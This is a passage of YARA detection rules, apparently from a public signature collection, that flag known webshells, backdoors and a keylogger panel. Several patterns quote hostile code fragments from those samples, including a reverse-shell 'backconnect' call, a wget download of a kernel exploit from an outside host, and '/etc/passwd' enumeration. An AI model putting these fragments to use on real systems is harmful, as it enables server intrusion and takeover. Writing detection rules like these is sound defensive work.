		$s8 = "=$=)=/=<=Y=_=j=p=z="

	condition:
		all of them
}

rule pwreveal
{
	meta:
		description = "Webshells Auto-generated - file pwreveal.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b4e8447826a45b76ca45ba151a97ad50"
		id = "3d79dd13-9012-56e2-b42a-e6b3e204c601"

	strings:
		$s0 = "*<Blank - no es"
		$s3 = "JDiamondCS "
		$s8 = "sword set> [Leith=0 bytes]"
		$s9 = "ION\\System\\Floating-"

	condition:
		all of them
}

rule shelltools_g0t_root_xwhois
{
	meta:
		description = "Webshells Auto-generated - file xwhois.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "0bc98bd576c80d921a3460f8be8816b4"
		id = "8f3b3bb2-5884-584a-8220-b6edbfebc8a3"

	strings:
		$s1 = "rting! "
		$s2 = "aTypCog("
		$s5 = "Diamond"
		$s6 = "r)r=rQreryr"

	condition:
		all of them
}

rule vanquish_2
{
	meta:
		description = "Webshells Auto-generated - file vanquish.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "2dcb9055785a2ee01567f52b5a62b071"
		id = "6736cad6-cba1-5b6f-ae05-e2b980280479"

	strings:
		$s2 = "Vanquish - DLL injection failed:"

	condition:
		all of them
}

rule down_rar_Folder_down
{
	meta:
		description = "Webshells Auto-generated - file down.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "db47d7a12b3584a2e340567178886e71"
		id = "4e0a0e03-4f01-5b58-807c-0934cdda77ab"

	strings:
		$s0 = "response.write \"<font color=blue size=2>NetBios Name: \\\\\"  & Snet.ComputerName &"

	condition:
		all of them
}

rule cmdShell
{
	meta:
		description = "Webshells Auto-generated - file cmdShell.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8a9fef43209b5d2d4b81dfbb45182036"
		id = "be256fc4-8dc5-58e4-9ca2-5a1df936b8dd"

	strings:
		$s1 = "if cmdPath=\"wscriptShell\" then"

	condition:
		all of them
}

rule ZXshell2_0_rar_Folder_nc
{
	meta:
		description = "Webshells Auto-generated - file nc.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "2cd1bf15ae84c5f6917ddb128827ae8b"
		id = "106209fc-f957-5131-825b-8eb7835625e0"

	strings:
		$s0 = "WSOCK32.dll"
		$s1 = "?bSUNKNOWNV"
		$s7 = "p@gram Jm6h)"
		$s8 = "ser32.dllCONFP@"

	condition:
		all of them
}

rule portlessinst
{
	meta:
		description = "Webshells Auto-generated - file portlessinst.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "74213856fc61475443a91cd84e2a6c2f"
		id = "c641c522-7844-5002-8ae7-4aaf60d1337d"

	strings:
		$s2 = "Fail To Open Registry"
		$s3 = "f<-WLEggDr\""
		$s6 = "oMemoryCreateP"

	condition:
		all of them
}

rule SetupBDoor
{
	meta:
		description = "Webshells Auto-generated - file SetupBDoor.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "41f89e20398368e742eda4a3b45716b6"
		id = "055ff783-fa9f-5037-a3d6-88b58ec1612f"

	strings:
		$s1 = "\\BDoor\\SetupBDoor"

	condition:
		all of them
}

rule phpshell_3
{
	meta:
		description = "Webshells Auto-generated - file phpshell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "e8693a2d4a2ffea4df03bb678df3dc6d"
		id = "2f0ddfef-b3b5-592b-a9fb-fae4d825d0af"

	strings:
		$s3 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>"
		$s5 = "      echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";"

	condition:
		all of them
}

rule BIN_Server
{
	meta:
		description = "Webshells Auto-generated - file Server.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1d5aa9cbf1429bb5b8bf600335916dcd"
		id = "1625b0ee-5f9f-57d8-8333-f175f46d6c59"

	strings:
		$s0 = "configserver"
		$s1 = "GetLogicalDrives"
		$s2 = "WinExec"
		$s4 = "fxftest"
		$s5 = "upfileok"
		$s7 = "upfileer"

	condition:
		all of them
}

rule HYTop2006_rar_Folder_2006
{
	meta:
		description = "Webshells Auto-generated - file 2006.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "c19d6f4e069188f19b08fa94d44bc283"
		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"

	strings:
		$s6 = "strBackDoor = strBackDoor "

	condition:
		all of them
}

rule r57shell_3
{
	meta:
		description = "Webshells Auto-generated - file r57shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "87995a49f275b6b75abe2521e03ac2c0"
		id = "4129d77c-2981-587b-a83e-8767dc3a48d8"

	strings:
		$s1 = "<b>\".$_POST['cmd']"

	condition:
		all of them
}

rule HDConfig
{
	meta:
		description = "Webshells Auto-generated - file HDConfig.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "7d60e552fdca57642fd30462416347bd"
		id = "6f743137-e85a-5298-b51e-c8792e507d28"

	strings:
		$s0 = "An encryption key is derived from the password hash. "
		$s3 = "A hash object has been created. "
		$s4 = "Error during CryptCreateHash!"
		$s5 = "A new key container has been created."
		$s6 = "The password has been added to the hash. "

	condition:
		all of them
}

rule FSO_s_ajan_2
{
	meta:
		description = "Webshells Auto-generated - file ajan.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "22194f8c44524f80254e1b5aec67b03e"
		id = "a66c34ed-0ae2-5e04-bfc4-c82583c5e066"

	strings:
		$s2 = "\"Set WshShell = CreateObject(\"\"WScript.Shell\"\")"
		$s3 = "/file.zip"

	condition:
		all of them
}

rule Webshell_and_Exploit_CN_APT_HK : Webshell
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "Webshell and Exploit Code in relation with APT against Honk Kong protesters"
		date = "10.10.2014"
		score = 50
		id = "eb37a22b-4e8a-5986-bd47-4ef5b4986f47"

	strings:
		$a0 = "<script language=javascript src=http://java-se.com/o.js</script>" fullword
		$s0 = "<span style=\"font:11px Verdana;\">Password: </span><input name=\"password\" type=\"password\" size=\"20\">"
		$s1 = "<input type=\"hidden\" name=\"doing\" value=\"login\">"

	condition:
		$a0 or ( all of ( $s* ) )
}

rule JSP_Browser_APT_webshell
{
	meta:
		description = "VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1a"
		author = "Florian Roth (Nextron Systems)"
		date = "10.10.2014"
		score = 60
		id = "06988b5b-ec8b-5a10-b659-3e846057ea51"

	strings:
		$a1a = "private static final String[] COMMAND_INTERPRETER = {\"" ascii
		$a1b = "cmd\", \"/C\"}; // Dos,Windows" ascii
		$a2 = "Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));" ascii
		$a3 = "ret.append(\"!!!! Process has timed out, destroyed !!!!!\");" ascii

	condition:
		all of them
}

rule JSP_jfigueiredo_APT_webshell
{
	meta:
		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
		author = "Florian Roth (Nextron Systems)"
		date = "12.10.2014"
		score = 60
		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/Browser.jsp"
		id = "b5080e43-44e2-54fa-b03a-057dc75d14db"

	strings:
		$a1 = "String fhidden = new String(Base64.encodeBase64(path.getBytes()));" ascii
		$a2 = "<form id=\"upload\" name=\"upload\" action=\"ServFMUpload\" method=\"POST\" enctype=\"multipart/form-data\">" ascii

	condition:
		all of them
}

rule JSP_jfigueiredo_APT_webshell_2
{
	meta:
		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
		author = "Florian Roth (Nextron Systems)"
		date = "12.10.2014"
		score = 60
		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/"
		id = "91575627-78c1-5ca1-8180-cc4004df88e8"

	strings:
		$a1 = "<div id=\"bkorotator\"><img alt=\"\" src=\"images/rotator/1.jpg\"></div>" ascii
		$a2 = "$(\"#dialog\").dialog(\"destroy\");" ascii
		$s1 = "<form id=\"form\" action=\"ServFMUpload\" method=\"post\" enctype=\"multipart/form-data\">" ascii
		$s2 = "<input type=\"hidden\" id=\"fhidden\" name=\"fhidden\" value=\"L3BkZi8=\" />" ascii

	condition:
		all of ( $a* ) or all of ( $s* )
}

rule Webshell_Insomnia
{
	meta:
		description = "Insomnia Webshell - file InsomniaShell.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/"
		date = "2014/12/09"
		hash = "e0cfb2ffaa1491aeaf7d3b4ee840f72d42919d22"
		score = 80
		id = "62ed3695-9ab8-54d4-a9d2-b6270c56ccfb"

	strings:
		$s0 = "Response.Write(\"- Failed to create named pipe:\");" fullword ascii
		$s1 = "Response.Output.Write(\"+ Sending {0}<br>\", command);" fullword ascii
		$s2 = "String command = \"exec master..xp_cmdshell 'dir > \\\\\\\\127.0.0.1" ascii
		$s3 = "Response.Write(\"- Error Getting User Info<br>\");" fullword ascii
		$s4 = "string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes," fullword ascii
		$s5 = "[DllImport(\"Advapi32.dll\", SetLastError = true)]" fullword ascii
		$s9 = "username = DumpAccountSid(tokUser.User.Sid);" fullword ascii
		$s14 = "//Response.Output.Write(\"Opened process PID: {0} : {1}<br>\", p" ascii

	condition:
		3 of them
}

rule HawkEye_PHP_Panel
{
	meta:
		description = "Detects HawkEye Keyloggers PHP Panel"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/12/14"
		score = 60
		id = "1d185345-6684-538f-954a-45d57a618a7a"

	strings:
		$s0 = "$fname = $_GET['fname'];" ascii fullword
		$s1 = "$data = $_GET['data'];" ascii fullword
		$s2 = "unlink($fname);" ascii fullword
		$s3 = "echo \"Success\";" fullword ascii

	condition:
		all of ( $s* ) and filesize < 600
}

rule SoakSoak_Infected_Wordpress
{
	meta:
		description = "Detects a SoakSoak infected Wordpress site http://goo.gl/1GzWUX"
		reference = "http://goo.gl/1GzWUX"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/12/15"
		score = 60
		id = "d147af65-72de-50be-9435-bef47eb4842a"

	strings:
		$s0 = "wp_enqueue_script(\"swfobject\");" ascii fullword
		$s1 = "function FuncQueueObject()" ascii fullword
		$s2 = "add_action(\"wp_enqueue_scripts\", 'FuncQueueObject');" ascii fullword

	condition:
		all of ( $s* )
}

rule Pastebin_Webshell
{
	meta:
		description = "Detects a web shell that downloads content from pastebin.com http://goo.gl/7dbyZs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		date = "13.01.2015"
		reference = "http://goo.gl/7dbyZs"
		id = "256051ed-da33-52b4-8bfb-ab990648d8fb"

	strings:
		$s0 = "file_get_contents(\"http://pastebin.com" ascii
		$s1 = "xcurl('http://pastebin.com/download.php" ascii
		$s2 = "xcurl('http://pastebin.com/raw.php" ascii
		$x0 = "if($content){unlink('evex.php');" ascii
		$x1 = "$fh2 = fopen(\"evex.php\", 'a');" ascii
		$y0 = "file_put_contents($pth" ascii
		$y1 = "echo \"<login_ok>" ascii
		$y2 = "str_replace('* @package Wordpress',$temp" ascii

	condition:
		1 of ( $s* ) or all of ( $x* ) or all of ( $y* )
}

rule ASPXspy2
{
	meta:
		description = "Web shell - file ASPXspy2.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2015/01/24"
		hash = "5642387d92139bfe9ae11bfef6bfe0081dcea197"
		id = "b68e0c98-0136-58d8-a2d6-57abccb1e942"

	strings:
		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
		$s3 = "Process[] p=Process.GetProcesses();" fullword ascii
		$s4 = "Response.Cookies.Add(new HttpCookie(vbhLn,Password));" fullword ascii
		$s5 = "[DllImport(\"kernel32.dll\",EntryPoint=\"GetDriveTypeA\")]" fullword ascii
		$s6 = "<p>ConnString : <asp:TextBox id=\"MasR\" style=\"width:70%;margin:0 8px;\" CssCl" ascii
		$s7 = "ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();" fullword ascii
		$s8 = "Copyright &copy; 2009 Bin -- <a href=\"http://www.rootkit.net.cn\" target=\"_bla" ascii
		$s10 = "Response.AddHeader(\"Content-Disposition\",\"attachment;filename=\"+HttpUtility." ascii
		$s11 = "nxeDR.Command+=new CommandEventHandler(this.iVk);" fullword ascii
		$s12 = "<%@ import Namespace=\"System.ServiceProcess\"%>" fullword ascii
		$s13 = "foreach(string innerSubKey in sk.GetSubKeyNames())" fullword ascii
		$s17 = "Response.Redirect(\"http://www.rootkit.net.cn\");" fullword ascii
		$s20 = "else if(Reg_Path.StartsWith(\"HKEY_USERS\"))" fullword ascii

	condition:
		6 of them
}

rule Webshell_27_9_c66_c99
{
	meta:
		description = "Detects Webshell - rule generated from from files 27.9.txt, c66.php, c99-shadows-mod.php, c99.php ..."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
		hash2 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
		hash3 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
		hash4 = "80ec7831ae888d5603ed28d81225ed8b256c831077bb8feb235e0a1a9b68b748"
		hash5 = "6ce99e07aa98ba6dc521c34cf16fbd89654d0ba59194878dffca857a4c34e57b"
		hash6 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
		hash7 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
		hash8 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
		hash9 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
		hash10 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
		id = "4b985ae7-1ae6-5976-9e8d-0d6b5faed75b"

	strings:
		$s4 = "if (!empty($unset_surl)) {setcookie(\"c99sh_surl\"); $surl = \"\";}" fullword ascii
		$s6 = "@extract($_REQUEST[\"c99shcook\"]);" fullword ascii
		$s7 = "if (!function_exists(\"c99_buff_prepare\"))" fullword ascii

	condition:
		filesize < 685KB and 1 of them
}

rule Webshell_acid_AntiSecShell_3
{
	meta:
		description = "Detects Webshell Acid"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
		hash3 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
		hash4 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
		hash5 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
		hash6 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
		hash7 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
		hash8 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
		hash9 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
		hash10 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
		hash11 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
		hash12 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
		hash13 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
		hash14 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
		hash15 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
		hash16 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
		hash17 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
		hash18 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
		id = "68d59f1e-ef35-586b-805d-1e6e3548d092"

	strings:
		$s0 = "echo \"<option value=delete\".($dspact == \"delete\"?\" selected\":\"\").\">Delete</option>\";" fullword ascii
		$s1 = "if (!is_readable($o)) {return \"<font color=red>\".view_perms(fileperms($o)).\"</font>\";}" fullword ascii

	condition:
		filesize < 900KB and all of them
}

rule Webshell_c99_4
{
	meta:
		description = "Detects C99 Webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
		hash2 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
		hash3 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
		hash4 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
		hash5 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
		hash6 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
		hash7 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
		hash8 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
		hash9 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
		hash10 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
		hash11 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
		hash12 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
		hash13 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
		hash14 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
		id = "d5035906-df17-5149-92ae-51e6ec05996e"

	strings:
		$s1 = "displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\"));" fullword ascii
		$s2 = "displaysecinfo(\"RAM\",myshellexec(\"free -m\"));" fullword ascii
		$s3 = "displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\"));" fullword ascii
		$s4 = "$ret = myshellexec($handler);" fullword ascii
		$s5 = "if (posix_kill($pid,$sig)) {echo \"OK.\";}" fullword ascii

	condition:
		filesize < 900KB and 1 of them
}

rule Webshell_r57shell_2
{
	meta:
		description = "Detects Webshell R57"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
		hash2 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
		hash3 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
		hash4 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
		hash5 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
		hash6 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
		hash7 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
		hash8 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
		hash9 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
		hash10 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
		hash11 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
		hash12 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
		hash13 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
		id = "f2298430-1eff-5ed2-abee-3b26b36d16b7"

	strings:
		$s1 = "$connection = @ftp_connect($ftp_server,$ftp_port,10);" fullword ascii
		$s2 = "echo $lang[$language.'_text98'].$suc.\"\\r\\n\";" fullword ascii

	condition:
		filesize < 900KB and all of them
}

rule Webshell_27_9_acid_c99_locus7s
{
	meta:
		description = "Detects Webshell - rule generated from from files 27.9.txt, acid.php, c99_locus7s.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
		hash3 = "960feb502f913adff6b322bc9815543e5888bbf9058ba0eb46ceb1773ea67668"
		hash4 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
		hash5 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
		hash6 = "5ae121f868555fba112ca2b1a9729d4414e795c39d14af9e599ce1f0e4e445d3"
		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
		hash8 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
		id = "f5f33b64-b815-5e32-8d2e-5e455651ec5d"

	strings:
		$s0 = "$blah = ex($p2.\" /tmp/back \".$_POST['backconnectip'].\" \".$_POST['backconnectport'].\" &\");" fullword ascii
		$s1 = "$_POST['backcconnmsge']=\"</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>\";" fullword ascii

	condition:
		filesize < 1711KB and 1 of them
}

rule Webshell_Backdoor_PHP_Agent_r57_mod_bizzz_shell_r57
{
	meta:
		description = "Detects Webshell - rule generated from from files Backdoor.PHP.Agent.php, r57.mod-bizzz.shell.txt ..."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
		hash2 = "f51a5c5775d9cca0b137ddb28ff3831f4f394b7af6f6a868797b0df3dcdb01ba"
		hash3 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
		hash4 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
		hash5 = "6dc417db9e07420a618d44217932ca8baf3541c08d5e68281e1be10af4280e4a"
		hash6 = "5d07fdfee2dc6d81da26f05028f79badd10dec066909932129d398627b2f4e94"
		hash7 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
		hash8 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
		hash9 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
		hash10 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
		hash11 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
		id = "00d3159c-f5d2-5b49-9499-3bb938776858"

	strings:
		$s1 = "$_POST['cmd'] = which('" ascii
		$s2 = "$blah = ex(" ascii

	condition:
		filesize < 600KB and all of them
}

rule Webshell_c100
{
	meta:
		description = "Detects Webshell - rule generated from from files c100 v. 777shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
		hash2 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
		hash3 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
		hash4 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
		hash5 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
		hash6 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
		id = "aa8317ff-680d-5b60-b8a9-a77ea58f0ed0"

	strings:
		$s0 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/debug/k3\">Kernel attack (Krad.c) PT1 (If wget installed)" fullword ascii
		$s1 = "<center>Kernel Info: <form name=\"form1\" method=\"post\" action=\"http://google.com/search\">" fullword ascii
		$s3 = "cut -d: -f1,2,3 /etc/passwd | grep ::" ascii
		$s4 = "which wget curl w3m lynx" ascii
		$s6 = "netstat -atup | grep IST" ascii

	condition:
		filesize < 685KB and 2 of them
}

rule Webshell_AcidPoison
{
	meta:
		description = "Detects Poison Sh3ll - Webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
		hash3 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
		hash4 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
		hash5 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
		hash6 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
		hash7 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
		hash8 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
		hash9 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
		hash10 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
		id = "6c201221-ca67-57fb-9bc7-fab4fc1da982"

	strings:
		$s1 = "elseif ( enabled(\"exec\") ) { exec($cmd,$o); $output = join(\"\\r\\n\",$o); }" fullword ascii

	condition:
		filesize < 550KB and all of them
}

rule Webshell_acid_FaTaLisTiCz_Fx_fx_p0isoN_sh3ll_x0rg_byp4ss_256
{
	meta:
		description = "Detects Webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
		hash2 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
		hash3 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
